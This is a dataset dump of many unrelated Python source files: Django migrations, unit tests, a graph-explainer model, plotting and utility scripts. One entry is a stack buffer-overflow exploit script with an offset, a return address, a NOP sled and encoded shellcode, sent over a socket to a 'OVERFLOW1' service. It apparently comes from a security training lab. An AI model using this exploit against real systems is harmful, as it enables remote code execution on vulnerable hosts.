text
string
size
int64
token_count
int64
""" This for future test of Event Manager. For now it's just contain snippets for it. """ test(PWBS_EM) def test(PWBS_EM: PWBSEventManager): funct = lambda event_name, *args, **kwargs: print("{0}: {1} | {2}".format(event_name, args, kwargs)) # PWBS Event Called in pwbs.__init__.main() when PWBS class is initi...
7,669
2,844
from django.db.migrations.operations.base import Operation from django.utils.functional import cached_property __all__ = ( 'AddAuditTrigger', 'RemoveAuditTrigger', ) class AddAuditTrigger(Operation): reduces_to_sql = True reversible = True option_name = 'audit_trigger' enabled = True de...
2,318
719
# -*- coding: utf-8 -*- # Generated by Django 1.11.20 on 2019-02-21 09:42 from __future__ import unicode_literals from django.db import migrations, models from django.conf import settings import django.db.models.deletion import django.utils.timezone import model_utils.fields import uuid def migrate_create_projects(a...
3,781
1,054
# BSD-3-Clause License # # Copyright 2017 Orange # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, # this list of conditions and the followi...
18,922
6,656
#!/usr/bin/env python3 import socket ip = "10.10.16.223" port = 1337 prefix = "OVERFLOW1 " offset = 1978 overflow = "A" * offset retn = "\xaf\x11\x50\x62" # 625011AF padding = "\x90" * 16 payload = ("\xbe\x13\xbf\x94\xb6\xdb\xd7\xd9\x74\x24\xf4\x58\x29\xc9\xb1" "\x52\x83\xe8\xfc\x31\x70\x0e\x03\x63\xb1\x76\x43\x7f\x...
1,975
1,564
# Generated by Django 3.2.4 on 2021-09-08 04:50 from django.db import migrations def _insert_lrg_id_key(apps, schema_editor): """ This can be deleted if there is a blat_keys migration after it """ EvidenceKey = apps.get_model("classification", "EvidenceKey") EvidenceKey.objects.get_or_create( ke...
1,116
338
# ------------------------------------------------------------------------------ # # Project: EOxServer <http://eoxserver.org> # Authors: Fabian Schindler <fabian.schindler@eox.at> # # ------------------------------------------------------------------------------ # Copyright (C) 2017 EOX IT Services GmbH # # Permission...
2,849
876
from typing import Any, Dict, Iterable, List, Optional, Tuple, Callable from math import pi as π from sympy import Matrix as Mat from numpy import ndarray from physical_education.links import Link3D, constrain_rel_angle from physical_education.system import System3D from physical_education.foot import add_foot, feet, ...
31,786
11,860
#!/usr/bin/env python import numpy as np import pandas as pd import matplotlib.pyplot as plt def main(): data_komodo = pd.read_csv('komodo.csv',sep=',') data_armadillo = pd.read_csv('armadillo.csv',sep=',') data_visualization(data_komodo) data_visualization(data_armadillo) def data_visualizatio...
982
387
import hashlib from unittest.mock import Mock, patch from asn1crypto.cms import ContentInfo from asn1crypto.tsp import PKIStatus, PKIStatusInfo, TimeStampResp from pyasice.tsa import requests, TSA class MockResponse(Mock): status_code = 200 headers = {"Content-Type": TSA.RESPONSE_CONTENT_TYPE} def test_ts...
1,822
577
# Demo Python For Loops - Else in For Loop ''' Else in For Loop The else keyword in a for loop specifies a block of code to be executed when the loop is finished: ''' # Print all numbers from 0 to 5, and print a message when the loop has ended: for x in range(6): print(x) else: print("Finally finished!")
317
96
""" Copyright 2017, Andrew Lin All rights reserved. This software is licensed under the BSD 3-Clause License. See LICENSE.txt at the root of the project or https://opensource.org/licenses/BSD-3-Clause """ from maze.maze import Maze, Coordinates from maze.mazehat import MazeHat def test_view_to_sensehat(): mh = M...
1,341
590
#!/usr/bin/env python import logging, boto3, subprocess logging.basicConfig(level=logging.INFO, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename='../../logs/cloud.log', filemode='a') from config...
1,619
509
# Connect bmp388 and esp32 via I2C. # # Warning: # This demo only supports python3. # Run this demo : python3 I2CreadTemperature.py # # connect: # raspberry bmp388 # 3.3v(1) VCC # GND(6) GND # SCL(5) SCL # SDA(3) SDA # BMP388_I2C_ADDR = 0x76: pin SDO is low # BMP38...
604
280
""" @author: tyrantlucifer @contact: tyrantlucifer@gmail.com @blog: https://tyrantlucifer.com @file: setting_utils.py @time: 2021/2/18 22:42 @desc: """ from shadowsocksr_cli.logger import * class Setting(object): """配置项工具类 提供从本地配置文件中读取对应参数的功能 属性: config: 配置文件对象 """ c...
747
313
# -*- coding: utf-8 -*- import os from conanfile_base import ConanFileBase class ConanFileInstaller(ConanFileBase): name = "vulkan_lunarg_installer" exports = ConanFileBase.exports + ["conanfile_base.py"] settings = "os_build", "arch_build" _is_installer = True def package(self): if sel...
2,037
659
from .fpn import FPN50 from .net import RetinaNet from .box_coder import RetinaBoxCoder
91
35
#! /usr/bin python from time import ctime, sleep def tsfunc (func): def wrappedFunc(): print '[%s] %s() called' % (ctime(), func.__name__) return func() return wrappedFunc @tsfunc def foo(): pass foo() sleep(4) for i in range(2): sleep(1) foo()
285
105
from math import sqrt from typing import Optional import torch from tqdm import tqdm from torch_geometric.nn.models.explainer import ( Explainer, clear_masks, set_masks, ) EPS = 1e-15 class GNNExplainer(Explainer): r"""The GNN-Explainer model from the `"GNNExplainer: Generating Explanations for...
10,384
3,372
try: real = float(input('R$:')) except ValueError: print(f'Digite uma quantia valida.') real = float(input('R$:')) while len(str(real)) > 5: print('Quantia não reconhecida, digite novamente com "." para separar os centavos') real = float(input('R$:')) print(f'Voce pode comprar {real/5.55:.2f} dol...
381
149
from __future__ import annotations from dataclasses import dataclass, field from typing import List, Tuple, Union from urllib.parse import ParseResult, urlencode __version__ = '0.0.1.dev' Query = List[Tuple[str, str]] Path = List[str] @dataclass() class URL: """Build URLs incrementally # one way >>> u...
6,482
2,197
from django.contrib import admin from django.contrib.auth.forms import AuthenticationForm def customize_admin(): admin.site.site_header = 'Feature Request Tracker' admin.site.site_title = 'Freq' admin.site.index_title = 'Track Feature Requests with Freq' admin.site.site_url = None # allow non-staf...
552
164
import logging from dataclasses import dataclass import TelegramBot.lib_requests as lib_requests import CustomLogger @dataclass class MessageData: last_message: str chatroom_id: str sender_id: str sender_name: str @property def command(self): if not self.last_message[:1] == "/": ...
3,842
1,126
import pyautogui as pgui pgui.PAUSE = 0 def apply_sauce(): sauce_pos = (365, 548) pizza_pos = (968, 638) pgui.moveTo(sauce_pos[0], sauce_pos[1]) # pgui.mouseDown() print("mouse down") pgui.moveTo(pizza_pos[0], pizza_pos[1]) speed = 0.11 drift = 50 for i ...
555
257
#!/usr/bin/env python """Notifies subscribers of new articles.""" import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText class Email: """Formats email content as a MIME message.""" def __init__(self, sender, receiver, subject, content, use_html=False): self...
2,275
677
# -*- coding: utf-8 -*- # @Time : 2019-12-22 # @Author : mizxc # @Email : xiangxianjiao@163.com import re def reEmail(str): return re.match(r'^[0-9a-zA-Z_]{0,19}@[0-9a-zA-Z]{1,13}\.[com,cn,net]{1,3}$', str) if __name__ == '__main__': print (reEmail('')) print (len('12222'))
296
159
from pytest_mpi._helpers import _fix_plural MPI_TEST_CODE = """ import pytest @pytest.mark.mpi def test_size(): from mpi4py import MPI comm = MPI.COMM_WORLD assert comm.size > 0 @pytest.mark.mpi(min_size=2) def test_size_min_2(): from mpi4py import MPI com...
2,615
1,064
import asyncio import discord import nest_asyncio from repalette.constants import DISCORD_BOT_TOKEN async def __notify_discord(channel_id, message): client = discord.Client() async def __send_message(): await client.wait_until_ready() await client.get_channel(channel_id).send(message) ...
673
221
import logging import pytest from werkzeug.datastructures import ImmutableMultiDict from main import app @pytest.fixture def test_client(): app.config["TESTING"] = True return app.test_client() def test_GET_index(test_client): response = test_client.get("/") assert response.status_code == 200 ...
4,404
1,486
f1 = open("../train_pre_1") f2 = open("../test_pre_1") out1 = open("../train_pre_1b","w") out2 = open("../test_pre_1b","w") t = open("../train_gbdt_out") v = open("../test_gbdt_out") add = [] for i in range(30,49): add.append("C" + str(i)) line = f1.readline() print(line[:-1] + "," + ",".join(add), file=ou...
849
422
from PPO import * from TD3 import * import argparse parser = argparse.ArgumentParser() parser.add_argument("--policy_path", required=True, type=str) parser.add_argument("--stats_path", required=True, type=str) parser.add_argument("--env", required=True, type=str) parser.add_argument("--seed", required=True, type=int) ...
851
312
""" Bubble Sort: """ # Best: O(n) time | O(1) space # Average: O(n^2) time | O(1) space # Worst: O(n^2) time | O(1) space def bubbleSort(array): did_swap = False while True: did_swap = False for idx in range(1, len(array)): if array[idx] < array[idx-1]: # swap ...
797
254
# Crypto Challenge Set 1 """ 1. Convert hex to base64 2. Fixed buffer XOR 3. """ import base64 def convert_hex_to_base64(hex): """ Converts hex string to base64 encoding :param hex: hex encoded string :return: base64 encoded string """ # Convert hex to byte string decoded_hex = bytearray...
1,715
753
#!/bin/env python3 import os import sys import json import uuid import argparse import logging import coloredlogs import requests # Defining the default values that can be overridden on the CLI DEFAULTS = { 'guidfile': 'client-guid', 'outfile': 'last-dump', 'verfile': 'last-version', 'instance': 'Worl...
7,748
2,240
""" ############################################################################### # Copyright (c) 2003, Pfizer # Copyright (c) 2001, Cayce Ullman. # Copyright (c) 2001, Brian Matthews. # # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provide...
53,251
16,135
"""Contain a window with a plot for pygame_gui.""" from typing import Union import pygame import pygame_gui from pygame_gui.core.interfaces.manager_interface import IUIManagerInterface from pygame_gui.core.ui_element import ObjectID from .backend_pygame import FigureSurface import matplotlib matplotlib.use("module:/...
1,508
429
# work with this string alphabet = input() print(tuple(alphabet))
67
22
from flask import Blueprint,render_template,flash,url_for,redirect from simpledu.models import Course from simpledu.forms import LoginForm,RegisterForm from flask_login import login_user front = Blueprint('front',__name__) @front.route('/') def index(): courses = Course.query.all() return render_template('ind...
955
283
import argparse import numpy as np import os from os import path import tensorflow as tf from tensorflow.keras.callbacks import ModelCheckpoint from models import RefineDetVGG16 from utils import read_jpeg_image, resize_image_and_boxes, absolute2relative from saffran.saffran_data_loader import load_saffran_dataset fro...
6,151
2,222
import torch ######### Load saved model from checkpoint ######### def load(modelpath, model, optimizer, lr_scheduler): checkpoint = torch.load(modelpath) model.load_state_dict(checkpoint['model_state_dict']) optimizer.load_state_dict(checkpoint['optimizer_state_dict']) train_loss = checkpoint['Traini...
610
207
import argparse import gspread import json import lattice import requests import string import sys from collections import OrderedDict from gspread_formatting import * from oauth2client.service_account import ServiceAccountCredentials from urllib.parse import urljoin def getArgs(): parser = argparse.ArgumentParser...
7,649
2,698
# Copyright 2020 The Forte Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
8,191
2,489
# Generated by Django 3.0.9 on 2020-08-24 17:29 import autoslug.fields from django.db import migrations, models import django.utils.timezone import model_utils.fields class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( ...
1,979
561
from channels.auth import AuthMiddlewareStack from channels.routing import ProtocolTypeRouter, URLRouter from django.urls import path from sandbox.apps.devices.consumers import FactoryDevicesConsumer, UserDevicesConsumer from sandbox.libs.logs.consumers import SandboxLogsConsumer application = ProtocolTypeRouter({ ...
624
173
import sys import json from typing import Optional from datetime import datetime, timezone from .submissions_loader import Submission, SubmissionLoader, SubmissionStatus class CodeforcesSubmissionLoader(SubmissionLoader): def _normalize_status(self, external_status: str) -> SubmissionStatus: patterns: lis...
3,402
934
import chainer from chainer.backends import cuda from chainer import distribution from chainer.functions.math import exponential import chainer.functions.math.sum as sum_mod class OneHotCategorical(distribution.Distribution): """OneHotCategorical Distribution. Args: p(:class:`~chainer.Variable` or :...
1,477
515
from __future__ import absolute_import, division, unicode_literals import os import logging OS_VERSIONS = ['6', '7'] DATA_DIR = '/tmp/centos_packages/' REPO_BASE_URL = 'http://mirror.centos.org/centos/' REPOSITORIES = ['os', 'updates', 'centosplus', 'extras', 'fasttrack'] REPOSITORIES_PRETTY = {'os': 'Base', ...
891
321
import os import sys import time import logging from watchdog.observers import Observer from watchdog.events import FileSystemEventHandler def main(): logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S') # Don...
2,622
816
import json import uuid import six from datetime import timedelta from types import GeneratorType from typing import Union, Optional, Callable from jsonschema import ValidationError from twisted.internet.defer import _inlineCallbacks, Deferred from autobahn.wamp import RegisterOptions from mdstudio.api.api_result imp...
10,239
2,838
codewords={ 'array':'an arrangement of aerials spaced to give desired directional characteristics', 'byte':'computer memory unit', 'boolean':'a data type with only two possible values: true or false', 'debug':'locate and correct errors in a computer program code', 'address':'the code that identifies where a piece ...
861
228
from __future__ import print_function, absolute_import, division from ctypes import * import sys from numba import unittest_support as unittest from numba.compiler import compile_isolated from numba import types is_windows = sys.platform.startswith('win32') if not is_windows: proc = CDLL(None) c_sin = proc.s...
1,832
651
from floodsystem.geo import rivers_with_station from floodsystem.geo import stations_by_river from floodsystem.station import MonitoringStation def test_rivers_with_station(): lst2 = rivers_with_station(MonitoringStation) assert len(lst2) == len(set(lst2)) def test_stations_by_river(): dct1 = stations_by_...
377
125
def chunk_process(corpus): all_processed = [] for i in corpus: train_text = i train_text = train_text.lower() custom_tokenizer = PunktSentenceTokenizer(train_text) tokenized = custom_tokenizer.tokenize(train_text) pro = chunk_process_content(tokenized) all_processed.append(pro) return all...
875
328
""" This file contains all unit tests that count a number of results in the database. (Corresponding to the file: 'flask_monitoringdashboard/database/count.py') See info_box.py for how to run the test-cases. """ import unittest from flask_monitoringdashboard.database import session_scope from flask_monito...
1,036
348
# Copyright 2018 The TensorFlow Constrained Optimization Authors. All Rights # Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License. You may obtain a copy of # the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #...
6,772
2,196
from LnkParse3.extra.lnk_extra_base import LnkExtraBase """ ------------------------------------------------------------------ | 0-7b | 8-15b | 16-23b | 24-31b | ------------------------------------------------------------------ | <u_int32> BlockSize >= 0x00000088 ...
1,098
292
t = (5,11) x , y = t print(x,y) attendance = {"Rolf": 96, "Bob": 80, "Anne" :100} print(list(attendance.items())) for t in attendance.items() : print(t) # print(f"{student}: {attended}") for student, attended in attendance.items() : print(f"{student}: {attended}") # Blog post: https://blog.tecladocode.com/d...
849
350
from django.conf.urls.static import static from django.conf.urls import patterns, url, include from django.conf import settings from django.contrib import admin from apps.app.views import * admin.autodiscover() urlpatterns = patterns('', url(r'^/?$','apps.app.views.index',name='index'), )
293
89
#list list=["Apple","Mango","Banana","Pine Apple","Plum"] for lst in list : if lst=='Banana': continue else: print(lst) #tuples tpls = ("apple", "banana", "cherry","banana",) print("Tuples:",tpls) #Set st = set(("apple", "banana", "cherry")) st.add("damson") st.remove("banana") pri...
483
204
import sqlite3 import time import random conn = sqlite3.connect('pokemon.db') c = conn.cursor() id = 0 def dynamic_data_entry(): name = input ("Name: ") health = input ("Health: ") stage = input ("Stage:") ptype = input("Type: ") retreat = input ("Retreat: ") year = input ("Year: ") c.e...
546
203
# -*- coding: utf-8 -*- """ SQLpie License (MIT License) Copyright (c) 2011-2016 André Lessa, http://sqlpie.com See LICENSE file. """ from flask import g import sqlpie import math, json class Matcher(object): def __init__(self): pass @staticmethod def match_single(source_bucket, document_id, s...
2,603
753
# Generated by Django 2.0.7 on 2018-07-17 12:42 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('smart_contract', '0008_useraccept_company'), ] operations = [ migrations.CreateModel( name='Com...
811
259
#------------------------------------------------------------------------------ # Libraries #------------------------------------------------------------------------------ # Standard import numpy as np import xgboost as xgb import lightgbm as lgbm #----------------------------------------------------------------------...
5,554
1,476
import numpy as np from keras.models import Sequential from keras.layers import Conv2D, MaxPooling2D, Dense, Dropout, Flatten import keras.backend as K import random import os import sys sys.setrecursionlimit(1000000) def data_load_module(tf): file = open('int/' + tf + '_1_int_rev.csv') lines = file.readlines() ...
5,125
2,272
from django.core.mail import send_mail from django.http import HttpResponse from session.redis import SessionRedis # Create your models here. # 一応テスト用に引数デフォルトで設定 def post_mail(subject="題名", from_email="A4sittyo@gmail.com", to_email=["naoki@mail.com"], body="本文"): send_mail(subject, body, from_email, to_email) ...
569
219
from pyqtgraph.Qt import QtGui, QtCore import pyqtgraph import numpy as np class LinePlot(pyqtgraph.PlotCurveItem): def __init__(self): super().__init__() def update_data(self, data_x, data_y): if type(data_x) == type(None) or type(data_y) == type(None): self.setData(x=[], y=[]...
657
246
from PIL import Image from math import sqrt import os import time import json os.system('cls') COLORS = { "blocks_rgb":[ [ 224, 220, 200 ], [ 107, 88, 57 ], [ 146, 99, 86 ], ...
38,140
14,232
def main(): # input A, B, C = input().split() # compute # output if A[-1]==B[0] and B[-1]==C[0]: print('YES') else: print('NO') if __name__ == '__main__': main()
210
86
import unittest import numpy as np from src.layers.flatten import Flatten class TestFlatten(unittest.TestCase): def test_flatten(self): batch_size = 10 n_h, n_w, n_c = 32, 32, 3 a_prev = np.random.randn(batch_size, n_h, n_w, n_c) f = Flatten() f.init((n_h, n_w, n_c)) ...
636
268
from imp import new_module from django.conf import settings class AppNotFoundError(Exception): pass def import_module(module_label, classes, namespace=None): u""" For dynamically importing classes from a module. Eg. calling import_module('product.models') will search INSTALLED_APPS for the...
3,976
1,005
from domba.clis.base import Base from domba.libs import env_lib from domba.libs import knot_lib from domba.libs import kafka_lib import os class Start(Base): """ usage: start slave start master Command : Options: -h --help Print...
3,197
819
import os import matplotlib.pyplot as plt import numpy as np import tensorflow as tf import input_fn.input_fn_2d.data_gen_2dt.data_gen_t2d_util.tfr_helper as tfr_helper os.environ["CUDA_VISIBLE_DEVICES"] = "" tf.enable_eager_execution() if __name__ == "__main__": print("run IS2d_triangle") # prefix = "val" ...
2,214
888
# coding: utf-8 import ui, os, datetime from operator import itemgetter class MyTableViewDataSource(object): def __init__(self, row_height): self.row_height = row_height self.width = None def tableview_number_of_rows(self, tableview, section): return len(tableview.data_source.items) ...
4,090
1,301
import numpy as np from matplotlib import pyplot as pl from matplotlib.colors import LogNorm fn = '../pozo-steep-vegetated-pcl.npy' pts = np.load(fn) x, y = pts[:, 0], pts[:, 1] ix = (0.2 * (x - x.min())).astype('int') iy = (0.2 * (y - y.min())).astype('int') shape = (100, 100) #xb = np.arange(shape[1]+1) #yb = np.ar...
668
329
def figure(nrows=1, ncols=1, figsize=(6,6), dpi=150): return plt.subplots(nrows, nclos, figsize, dpi=dpi)
110
52
# -*- coding: utf-8 -*- """ Datary sdk Remove Operations File """ import os from urllib.parse import urljoin from datary.auth import DataryAuth from datary.operations.limits import DataryOperationLimits import structlog logger = structlog.getLogger(__name__) class DataryRemoveOperation(DataryAuth, DataryOperationL...
5,600
1,394
# -*- coding: utf-8 -*- # Generated by Django 1.10.5 on 2017-06-12 10:39 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('widgets', '0002_auto_20170612_1201'), ] operations = [ migrations.AddField(...
531
194
import torch import clip from torch.utils.data import DataLoader, Dataset from PIL import Image import pickle from tqdm import tqdm import os import csv import threading import requests import shutil import PIL from typing import List, Tuple, Optional import argparse from pathlib import Path device = torch.device("cu...
9,199
2,985
# -*- coding:utf-8 -*- from unittest import TestCase from simstring.measure.cosine import CosineMeasure class TestCosine(TestCase): measure = CosineMeasure() def test_min_feature_size(self): self.assertEqual(self.measure.min_feature_size(5, 1.0), 5) self.assertEqual(self.measure.min_feature_s...
1,797
720
# coding: utf-8 if DefLANG in ("RU", "UA"): AnsBase_temp = tuple([line.decode("utf-8") for line in ( "Изменённые пункты: %s", # 0 "Очевидно параметры неверны.", # 1 "Настройки:\n", # 2 "Конфиг пуст.", # 3 "Вниание! Текущий jid сейчас удаляется, сейчас я зайду с нового.", # 4 "смена jid'а", # 5 "Теперь '...
1,072
510
# Global objects import datetime import hashlib import subprocess import time import nltk from Prediction import Summarizer from data_utils import DataProcessor PAD_ID = 0 UNK_ID = 1 vocab_dict, word_embedding_array = DataProcessor().prepare_vocab_embeddingdict() # # print (len(vocab_embed_object.vocab_dict)-2) model...
7,170
2,057
default_app_config = 'vault.apps.VaultConfig' __version__ = '1.3.7'
69
31
import versioneer from setuptools import setup setup_args = dict( name='nbexamples', version=versioneer.get_version(), cmdclass=versioneer.get_cmdclass(), license='BSD', platforms=['Jupyter Notebook'], packages=[ 'nbexamples' ], include_package_data=True, install_requires=[ ...
447
152
#!/usr/bin/env python #coding=utf-8 from toughlib import utils, apiutils from toughlib.permit import permit from toughradius.manage.api.apibase import ApiHandler from toughradius.manage import models from toughradius.manage.radius.radius_authorize import RadiusAuth @permit.route(r"/api/v1/authorize") class AuthorizeH...
702
218
from django.apps import AppConfig class MergicsConfig(AppConfig): name = 'mergics'
89
30
""" Module for the methods regarding ms projects """ import jpype import jsonpath_ng.ext import mpxj from fastapi import APIRouter, File, UploadFile from datatypes.models import * from dependencies import * router = APIRouter( prefix="/msprojects", tags=["msprojects"], dependencies=[] ) @router.post("/...
6,336
1,902
import pickle import matplotlib.pyplot as plt from matplotlib_venn import venn3 test_list_path = 'final/wörterbücher/' password_list_path = 'final/generated_password_lists/' def remove_duplicates(seq): seen = set() seen_add = seen.add return [x for x in seq if not (x in seen or seen_add(x))] def load_pas...
1,945
698
class Solution: def distributeCandies(self, candies: int, n: int) -> List[int]: ans = [0] * n rows = int((-n + (n**2 + 8 * n**2 * candies)**0.5) / (2 * n**2)) accumN = rows * (rows - 1) * n // 2 for i in range(n): ans[i] = accumN + rows * (i + 1) givenCandies = (n**2 * rows**2 + n * rows) ...
563
232
# Generated by Django 2.2.13 on 2020-12-02 06:18 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('projects', '0085_auto_20201201_1705'), ] operations = [ migrations.CreateModel( name='ProjectP...
1,810
510
""" This module provides local and cloud storage of computed values. The main point of entry is the PersistentCache, which encapsulates this functionality. """ import attr import os import shutil import tempfile import yaml import warnings from uuid import uuid4 from pathlib import Path from bionic.exception import ...
38,711
10,858
import json import boto3 #Last Updated #5/3/2020 s3 = boto3.client('s3') #S3 object def lambda_handler(event, context): #Initializing the variables bucket = 't2-bucket-storage' key = 'FAQ.txt' #CORS headers response_headers = {} response_headers["X-Requested-With"] = "*" response_heade...
925
312
import tensorflow as tf class LearningRateStrategy(object): def __init__(self, init_lr, strategy_spec): self._type = strategy_spec.pop('type', 'exponential_decay') self._decay_steps = strategy_spec.pop('decay_steps', 1000) self._decay_rate = strategy_spec.pop('decay_rate', 0.9) sel...
1,582
472
from functools import partial import pytest from plenum.test import waits from plenum.test.helper import sendRandomRequests, waitForSufficientRepliesForRequests, checkReqAck from plenum.test.pool_transactions.helper import buildPoolClientAndWallet from stp_core.loop.eventually import eventuallyAll from stp_core.vali...
2,841
903
"""User model module""" import jwt from datetime import datetime, timedelta from django.db import models from django.utils import timezone from django.contrib.auth.models import AbstractBaseUser, PermissionsMixin from django.conf import settings from django.core.validators import RegexValidator from .base_model impor...
2,935
883
# Initialize Django. from djangoappengine import main from django.utils.importlib import import_module from django.conf import settings # Load all models.py to ensure signal handling installation or index # loading of some apps for app in settings.INSTALLED_APPS: try: import_module('%s.models' % (app)) ...
2,254
651
from ..base.base_results_connector import BaseResultsConnector import json from .....utils.error_response import ErrorResponder class CloudIdentityResultsConnector(BaseQueryConnector): def __init__(self, api_client): self.api_client = api_client
260
71
import sys from churn_calc import ChurnCalculator def main(): ''' Creates churn calculator and runs the statistics and correlation functions. The schema name is taken from the first command line argument. The dataset and all other parameters are then taken from the schema configuration. :return: ...
717
229
"""Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License i...
2,888
979
import traceback if __name__ == "__main__": try: import geometry_msgs.msg # noqa import rospy # noqa import std_msgs.msg # noqa import visualization_msgs.msg # noqa try: import rospkg # noqa import tf2_geometry_msgs # noqa import t...
901
251
from __future__ import absolute_import, division, print_function from six.moves import range from scitbx.array_family import flex page_origin = (20.,220.) boxedge = 500. class PointTransform: '''provide the necessary transformation to go from image pixel coordinates to coordinates on the printed page of the .pd...
3,466
1,265